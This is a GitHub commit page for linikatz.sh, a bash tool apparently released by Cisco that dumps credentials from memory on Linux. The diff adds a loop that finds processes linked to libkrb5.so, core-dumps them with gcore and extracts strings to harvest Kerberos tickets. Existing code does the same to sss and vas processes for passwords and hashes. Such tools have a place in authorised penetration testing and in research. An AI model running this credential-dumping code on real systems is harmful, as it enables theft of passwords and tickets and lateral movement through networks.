Skip to content

Commit

Permalink
Added support to dump any libkrb5.so linked process to close #11
Browse files Browse the repository at this point in the history
  • Loading branch information
Tim Brown authored and Tim Brown committed Jan 30, 2021
1 parent 50289ac commit 97e768f
Showing 1 changed file with 8 additions and 2 deletions.
10 changes: 8 additions & 2 deletions linikatz.sh
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
#!/bin/bash
# Copyright (c) 2015-2018, Cisco International Ltd
# Copyright (c) 2015-2021, Cisco International Ltd
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
Expand Down Expand Up @@ -116,7 +116,7 @@ do
fi
fi
done
printf "I: In memory, plain text or stored as a hash\n"
printf "I: In memory passwords, plain text or stored as a hash\n"
pgrep sss | while read processid
do
gcore -o "sss.$$.${r}" "${processid}" 2>/dev/null >>strings."linikatz.$$.${r}"
Expand All @@ -127,3 +127,9 @@ do
gcore -o "vas.$$.${r}" "${processid}" 2>/dev/null >>strings."linikatz.$$.${r}"
strings "vas.$$.${r}.${processid}" | sort | uniq >>strings."linikatz.$$.${r}"
done
printf "I: In memory tickets\n"
grep libkrb5.so /proc/[0-9]*/maps 2>/dev/null | cut -f 3 -d "/" | while read processid
do
gcore -o "krb5.$$.${r}" "${processid}" 2>/dev/null >>"strings.linikatz.$$.${r}"
strings "krb5.$$.${r}.${processid}" | sort | uniq >>"strings.linikatz.$$.${r}"
done

0 comments on commit 97e768f

Please sign in to comment.